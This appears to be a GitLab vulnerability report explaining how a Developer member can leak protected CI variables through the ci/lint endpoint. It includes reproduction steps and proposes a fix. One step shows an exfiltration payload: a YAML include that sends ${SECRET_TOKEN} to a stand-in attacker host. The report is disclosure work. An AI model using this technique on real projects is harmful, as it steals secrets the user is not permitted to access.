Backend: Developer who can't run pipelines on protected branches can exfiltrate default branch protected CI variables via ci/lint
Summary
A developer member lacking the ability to run a pipeline on a project's default branch can exfiltrate default branch protected CI variables via ci/lint
endpoints (UI or API).
Context
GitLab ships with the following defaults:
- Default branches are protected
- Running a pipeline on a protected branch requires Maintainer or Owner role, Developer members can not run pipelines on protected branches
- POST requests to
[...]/ci/lint
endpoints will use the project's default branch when "Simulate a pipeline created for the default branch" box is unchecked (UI) ordry_run
or is false (API) by default
The permission to merge or push to protected branches defines whether or not a user can run CI/CD pipelines and trigger CI jobs for protected branches. References:
- https://docs.gitlab.com/ee/user/project/protected_branches.html#run-pipelines-on-protected-branches
- https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-security-on-protected-branches
Steps to reproduce
Two users are required to reproduce this. For simplicity and clarity, we'll name these users victim
and attacker
.
-
Create a new project as
victim
(e.g.gitlab.example.com/victim/<project_name>
) -
Go to this project's Settings > CI/CD > Variables, add a PROTECTED variable named
SECRET_TOKEN
with valuesuper_secret_token
-
Invite
attacker
tovictim/<project_name>
-
As
attacker
, verify that you cannot merge changes directly to.gitlab-ci.yml
or run a pipeline on thevictim/<project_name>
's default branch because it's a protected branch (by default) Reference: https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-security-on-protected-branches1. As attacker, spin up an external webserver which will log requests (or use webhook.site to generate a webhook URL) -
Visit
gitlab.example.com/victim/<testproject>/-/ci/lint
and add the following content to the "Contents of .gitlab-ci.yml` input box:include: - https://attacker-site.example.com/${SECRET_TOKEN}.yml
-
Verify that
super_secret_token
was transmitted in plaintext to the attacker-controlled external endpoint in the logged/captured request URL
Note: successful attack requires the attacker knowing or guessing the name of a protected $CI_VARIABLE
. This adds a degree of "security through obscurity", but this can generally be overcome as protected $CI_VARIABLE
S are often referenced in a project's pipeline configuration. For example, in real-world use cases, if $SECRET_TOKEN
is set as a protected variable in a project, then it's likely that this project will reference ${SECRET_TOKEN}
or $SECRET_TOKEN
in the pipeline configuration YAML files being used by this project.
What is the current bug behavior?
Developer users unable to run pipelines on protected branches can exfiltrate protected variables on the default branch via POST request to ci/lint
.
What is the expected correct behavior?
Only users allowed to merge or push to a default/protected branch can make POST requests to <project>/ci/lint
endpoints.
Output of checks
This bug happens on GitLab.com
Possible fixes
Check whether a user making POST requests to a project's /ci/lint
endpoints has the ability to merge or push to protected branches. If not, POST requests to the ci/lint
endpoint targeting protected branches should fail.